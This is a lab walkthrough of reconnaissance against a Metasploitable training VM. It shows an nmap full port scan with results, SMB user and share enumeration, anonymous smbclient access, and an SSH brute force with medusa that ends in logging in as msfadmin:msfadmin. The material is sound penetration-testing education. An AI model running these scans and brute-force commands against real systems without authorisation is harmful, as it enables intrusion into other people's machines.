# 🗺️ Metasploitable — SMB & SSH Active Reconnaissance

---

## 1. 🕵️ Passive Reconnaissance

Before firing a single packet at the target, a good pentester always starts with **passive recon** — gathering intelligence without ever directly touching the target system. This means combing through public sources: search engines, company websites, social media, WHOIS records, and breach databases.

Passive recon helps you **profile the target**, surface potential weaknesses, and — crucially — stay invisible in the early stages of an engagement.

> 🔗 Interesting survey on the most used passive recon tools: [https://zerotomastery.io/blog/passive-reconnaissance-tools/](https://zerotomastery.io/blog/passive-reconnaissance-tools/)

---

## 2. 📡 Active Reconnaissance with Nmap

With passive intel gathered, it's time to go active. Here we use **Nmap** (Network Mapper) to get a full picture of the target's exposed attack surface.

The plan:
1. 🏓 **Ping** the target to confirm it's reachable
2. 🔬 **Full port scan** across all 65,535 TCP ports with service version detection (`-sV`)

This tells us exactly which services are running, what versions they're on, and — more importantly — which ones might be worth attacking.

Let's ping the target machine, check if we can reach it:

```bash
ping 192.168.100.30
```

Map the target. **Note. This is a hostile action.**

```bash
nmap -sV -p 1-65535 192.168.100.30
```

After some time, Nmap will list all the services that it found on the ports:

```bash
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-05 11:45 +0200
Nmap scan report for 192.168.100.30
Host is up (0.0038s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet      Linux telnetd
25/tcp    open  smtp        Postfix smtpd
53/tcp    open  domain      ISC BIND 9.4.2
80/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec        netkit-rsh rexecd
513/tcp   open  login       OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi    GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs         2-4 (RPC #100003)
2121/tcp  open  ftp         ProFTPD 1.3.1
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc         VNC (protocol 3.3)
6000/tcp  open  X11         (access denied)
6667/tcp  open  irc         UnrealIRCd
6697/tcp  open  irc         UnrealIRCd
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open  drb         Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
34620/tcp open  nlockmgr    1-4 (RPC #100021)
43207/tcp open  status      1 (RPC #100024)
49668/tcp open  mountd      1-3 (RPC #100005)
52387/tcp open  java-rmi    GNU Classpath grmiregistry
MAC Address: 00:0C:29:62:6D:C7 (VMware)
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

🎉 Jackpot. Nmap surfaced a large number of open ports — this machine is essentially a wide-open door. Let's break down the most interesting findings:

| 🔌 Port | 🏷️ Service | ⚠️ Risk |
|--------|-----------|--------|
| `21/tcp` | FTP — vsftpd 2.3.4 | 🔴 Known backdoor (CVE-2011-2523) |
| `22/tcp` | SSH — OpenSSH 4.7p1 | 🟡 Very old version, brute-force target |
| `23/tcp` | Telnet | 🔴 Unencrypted remote shell — never expose this |
| `139 & 445/tcp` | Samba (SMB) | 🔴 Key enumeration and exploitation target |
| `1524/tcp` | Bindshell | 🔴 Literal root shell listening on the network |
| `3306/tcp` | MySQL | 🟡 Database directly exposed |
| `5432/tcp` | PostgreSQL | 🟡 Database directly exposed |
| `5900/tcp` | VNC | 🟡 Remote desktop, potentially unauthenticated |
| `6667/tcp` | UnrealIRCd | 🔴 Known backdoor version |
| `8180/tcp` | Apache Tomcat | 🟡 Default credentials often still active |
| `3632/tcp` | distccd | 🔴 Remote code execution (CVE-2004-2687) |

> 💡 **Takeaways:**
> - 🏚️ This machine runs **many legacy and default services** — a goldmine for attackers
> - 🎯 **Samba, SSH, FTP, and databases** are immediate targets for further enumeration
> - 🔑 High chance of **password reuse** across exposed services
> - 🗺️ This scan output is our **attack roadmap** — every open port is a potential entry point

---

## 3. 👥 Enumerating SMB Users

SMB user enumeration works by querying internal Windows/Samba services. When a target allows **anonymous or weakly restricted access**, tools can use the **SAMR protocol** to list domain users directly. If that fails, they fall back to **RID cycling** — iterating through user IDs to see which ones exist — or **LSA lookups** to resolve SIDs into usernames.

Old Samba setups like Metasploitable are particularly generous with this information. And bonus: any SMB user we discover might also have a valid SSH login.

```bash
nmap -p 139,445 --script smb-enum-shares.nse,smb-enum-users.nse,smb-os-discovery.nse 192.168.100.30
```

Now let's clean up the output and extract just the usernames — then save them to a file for later use in our brute-force attack:

```bash
nmap -p 139,445 --script smb-enum-shares.nse,smb-enum-users.nse,smb-os-discovery.nse 192.168.100.30 | awk -F': ' '/Full name/ {gsub(/,/, "", $2); print $2}' > usernames.txt
```

---

## 4. 🖥️ Fingerprinting the OS

The `smb-os-discovery` script is a useful bonus from the previous scan. It leaks the target's **OS type and version**, computer name, domain name, and sometimes even the system clock. This kind of intel is invaluable for:

- 🎯 Crafting OS-specific exploits
- 🔑 Identifying likely default credentials
- 🌐 Mapping the network environment for lateral movement

```bash
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: metasploitable
|   NetBIOS computer name:
|   Domain name: localdomain
|   FQDN: metasploitable.localdomain
|_  System time: 2026-04-05T07:22:06-04:00
```

> 📌 We're dealing with **Samba 3.0.20 on Debian** — an ancient version with multiple known vulnerabilities. Noted.

---

## 5. 📂 Checking the Contents of SMB Shares

Now that we have a list of shares from the enumeration step, let's see what's actually inside them. The goal is to find **world-readable or misconfigured shares** that expose credentials, scripts, configuration files, or anything useful for the next phase.

Anonymous access to a share — no password required — is an immediate red flag for **poor permissions hygiene**. Even filenames and directory names can leak usernames, service accounts, and clues for our brute-force wordlist.

Try all the directories, see if someone is accessible without password. If that happens, explore the content.

```bash
mbclient //192.168.100.30IPC$
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_NETWORK_ACCESS_DENIED listing \*
smb: \> ^C
```

```bash
smbclient //192.168.100.30/tmp
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Apr  5 13:42:14 2026
  ..                                 DR        0  Sun Apr  5 12:14:00 2026
  5086.jsvc_up                        R        0  Sun Apr  5 11:44:04 2026
  .ICE-unix                          DH        0  Sun Apr  5 11:43:48 2026
  orbit-msfadmin                     DR        0  Sun Apr  5 12:25:31 2026
  .X11-unix                          DH        0  Sun Apr  5 11:43:55 2026
  .X0-lock                           HR       11  Sun Apr  5 11:43:55 2026
  gconfd-msfadmin                    DR        0  Sun Apr  5 12:25:31 2026

                7282168 blocks of size 1024. 5511292 blocks available

```

> 👤 The directory names `orbit-msfadmin` and `gconfd-msfadmin` are screaming a username at us: **`msfadmin`**. We'll use this in the next step.

---

## 6. 🔑 Brute-forcing SSH with Medusa

> ⚠️ **Note:** You can also try Hydra (`hydra -t 4 -L usernames.txt -P usernames.txt ssh://192.168.100.30`), but since we're targeting a very old machine, it likely won't cooperate. Medusa handles it better.

The strategy here is simple: try every username we collected against every other username as a password. Why? Because it's surprisingly common for accounts to have credentials like `admin:admin` or `root:root` — especially on legacy systems.

This command will try all users in `usernames.txt` against all passwords in `passwords.txt` over SSH:

```bash
medusa -h 192.168.100.30 -U usernames.txt -P passwords.txt -M ssh
```

That would take a while. Since the SMB share already tipped us off about `msfadmin`, let's focus our attack — using the usernames list as our password wordlist for just that one account:

```bash
medusa -h 192.168.100.30 -u msfadmin -P usernames.txt -M ssh
Medusa v2.3 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

2026-04-05 19:57:05 ACCOUNT CHECK: [ssh] Host: 192.168.100.30 (1 of 1, 0 complete) User: msfadmin (1 of 1, 0 complete) Password: backup (1 of 22 complete)
2026-04-05 19:57:07 ACCOUNT CHECK: [ssh] Host: 192.168.100.30 (1 of 1, 0 complete) User: msfadmin (1 of 1, 0 complete) Password: bin (2 of 22 complete)
2026-04-05 19:57:09 ACCOUNT CHECK: [ssh] Host: 192.168.100.30 (1 of 1, 0 complete) User: msfadmin (1 of 1, 0 complete) Password: daemon (3 of 22 complete)
2026-04-05 19:57:11 ACCOUNT CHECK: [ssh] Host: 192.168.100.30 (1 of 1, 0 complete) User: msfadmin (1 of 1, 0 complete) Password: games (4 of 22 complete)
2026-04-05 19:57:13 ACCOUNT CHECK: [ssh] Host: 192.168.100.30 (1 of 1, 0 complete) User: msfadmin (1 of 1, 0 complete) Password: Gnats Bug-Reporting System (admin) (5 of 22 complete)
2026-04-05 19:57:15 ACCOUNT CHECK: [ssh] Host: 192.168.100.30 (1 of 1, 0 complete) User: msfadmin (1 of 1, 0 complete) Password: ircd (6 of 22 complete)
2026-04-05 19:57:17 ACCOUNT CHECK: [ssh] Host: 192.168.100.30 (1 of 1, 0 complete) User: msfadmin (1 of 1, 0 complete) Password: Mailing List Manager (7 of 22 complete)
2026-04-05 19:57:20 ACCOUNT CHECK: [ssh] Host: 192.168.100.30 (1 of 1, 0 complete) User: msfadmin (1 of 1, 0 complete) Password: lp (8 of 22 complete)
2026-04-05 19:57:22 ACCOUNT CHECK: [ssh] Host: 192.168.100.30 (1 of 1, 0 complete) User: msfadmin (1 of 1, 0 complete) Password: mail (9 of 22 complete)
2026-04-05 19:57:24 ACCOUNT CHECK: [ssh] Host: 192.168.100.30 (1 of 1, 0 complete) User: msfadmin (1 of 1, 0 complete) Password: man (10 of 22 complete)
2026-04-05 19:57:24 ACCOUNT CHECK: [ssh] Host: 192.168.100.30 (1 of 1, 0 complete) User: msfadmin (1 of 1, 0 complete) Password: msfadmin (11 of 22 complete)
2026-04-05 19:57:24 ACCOUNT FOUND: [ssh] Host: 192.168.100.30 User: msfadmin Password: msfadmin [SUCCESS]
```

> 🎯 **`msfadmin:msfadmin`** — exactly what we suspected. The password is literally the username. We're in.

### 🚪 Log in with the newly found credentials

```bash
ssh msfadmin@192.168.100.30
```
